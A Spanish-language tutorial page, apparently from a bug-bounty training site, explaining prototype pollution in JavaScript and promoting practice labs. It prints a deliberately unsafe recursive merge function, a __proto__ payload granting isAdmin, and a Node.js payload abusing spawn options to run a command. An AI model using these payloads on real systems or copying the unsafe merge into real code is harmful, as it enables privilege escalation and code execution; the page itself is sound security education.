Prototype Pollution

Alto

Prototype Pollution

Definición

Prototype Pollution es una vulnerabilidad específica de JavaScript que permite a un atacante modificar el prototipo de objetos base (Object.prototype). Al inyectar propiedades en el prototipo, todos los objetos de la aplicación heredan estas propiedades, lo que puede llevar a XSS, bypass de seguridad o ejecución remota de código.

Impacto

Cross-Site Scripting (XSS) a través de gadgets en bibliotecas de tercerosBypass de validaciones y controles de seguridadEjecución remota de código en el servidor (Node.js)Denegación de servicioEscalada de privilegios (isAdmin: true)

Ejemplos

Prototype Pollution vía merge de objetos

La función merge recursiva no filtra la clave __proto__. Cuando el atacante envía un JSON con __proto__, la propiedad se asigna al prototipo de Object, afectando a todos los objetos de la aplicación.

// Función de merge vulnerable
function merge(target, source) {
  for (let key in source) {
    if (typeof source[key] === 'object') {
      target[key] = merge(target[key] || {}, source[key]);
    } else {
      target[key] = source[key];
    }
  }
  return target;
}

// Payload del atacante
const payload = JSON.parse('{"__proto__": {"isAdmin": true}}');
merge({}, payload);

// Ahora TODOS los objetos tienen isAdmin: true
const user = {};
console.log(user.isAdmin); // true

Prototype Pollution a RCE en Node.js

En aplicaciones Node.js, la Prototype Pollution puede encadenarse con funciones de child_process para lograr ejecución remota de código, ya que estas funciones leen opciones como 'shell' del prototipo si no se especifican explícitamente.

// Si la aplicación usa child_process.spawn/fork:
const payload = {
  "__proto__": {
    "shell": "/proc/self/exe",
    "argv0": "console.log(require('child_process').execSync('id').toString())//"
  }
};

// Al contaminar el prototipo, cuando se ejecuta spawn sin opciones explícitas,
// hereda shell y argv0 del prototipo, ejecutando código arbitrario.

Practica Prototype Pollution con labs reales

Aplica lo que has aprendido en entornos seguros basados en reportes de bug bounty.

Ver labs de práctica
818

hunters entrenando

56

labs de reportes reales

1326

completaciones

$231.410

en bounties practicados

34 flags capturadas esta semana·Reportes reales de HackerOne · Bugcrowd · Intigriti·Sin permanencia·Academy gratis
BBLabs · bug bounty en español

Deja de leer sobre bugs y empieza a cazarlos

Crea tu cuenta gratis y practica sobre labs basados en reportes reales que pagaron miles de euros. La Academy es gratis para siempre.

Sin tarjeta · Academy gratis · cancela cuando quieras